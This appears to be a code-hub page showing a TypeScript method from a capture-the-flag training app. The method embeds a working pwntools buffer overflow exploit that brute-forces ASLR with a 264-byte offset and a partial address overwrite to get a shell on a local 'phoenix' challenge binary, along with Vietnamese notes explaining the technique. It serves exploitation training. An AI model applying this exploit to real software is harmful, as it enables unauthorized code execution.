MCPcopy Create free account
hub / github.com/F12FLASH/CTF / initializeDefaultData

Method initializeDefaultData

16.The Phoenix/server/storage.ts:76–926  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

74 }
75
76 private initializeDefaultData() {
77 // Initialize default templates
78 const defaultTemplates: InsertTemplate[] = [
79 {
80 name: "The Phoenix - Partial Overwrite",
81 description: "ASLR bruteforce using partial address overwrite technique",
82 descriptionVi: "Bruteforce ASLR sử dụng kỹ thuật ghi đè địa chỉ một phần",
83 difficulty: 5,
84 category: "Buffer Overflow",
85 code: `#!/usr/bin/env python3
86from pwn import *
87
88context.arch = 'amd64'
89context.log_level = 'info'
90
91OFFSET = 264
92MAX_ATTEMPTS = 10000
93
94def partial_overwrite_attempt(lower_bits):
95 p = process('./phoenix')
96
97 payload = b"A" * OFFSET
98 payload += p16(lower_bits)
99
100 p.sendline(payload)
101
102 try:
103 result = p.recvline(timeout=0.5)
104 if b"flag" in result or b"#" in result:
105 log.success(f"Success with bits: 0x{lower_bits:04x}")
106 p.interactive()
107 return True
108 except:
109 pass
110 finally:
111 p.close()
112
113 return False
114
115for attempt in range(MAX_ATTEMPTS):
116 lower_bits = random.randint(0, 0xFFFF)
117 if partial_overwrite_attempt(lower_bits):
118 break
119
120 if attempt % 100 == 0:
121 log.info(f"Attempt {attempt}/{MAX_ATTEMPTS}")`,
122 documentation: "Partial overwrite exploit for The Phoenix challenge",
123 documentationVi: `# Giải Thích Chi Tiết
124
125## Cơ Chế Hoạt Động
126Exploit này tận dụng đặc điểm của ASLR - chỉ randomize các byte cao, trong khi byte thấp thường cố định hoặc có entropy thấp.
127
128## Các Bước Thực Hiện
1291. Xác định offset chính xác của buffer overflow (264 bytes)
1302. Tạo payload với padding + partial address
1313. Thử nhiều giá trị cho 12-16 bit thấp
1324. Phát hiện success qua output hoặc shell
133

Callers 1

constructorMethod · 0.95

Calls 1

getEncryptedFlagFunction · 0.90

Tested by

no test coverage detected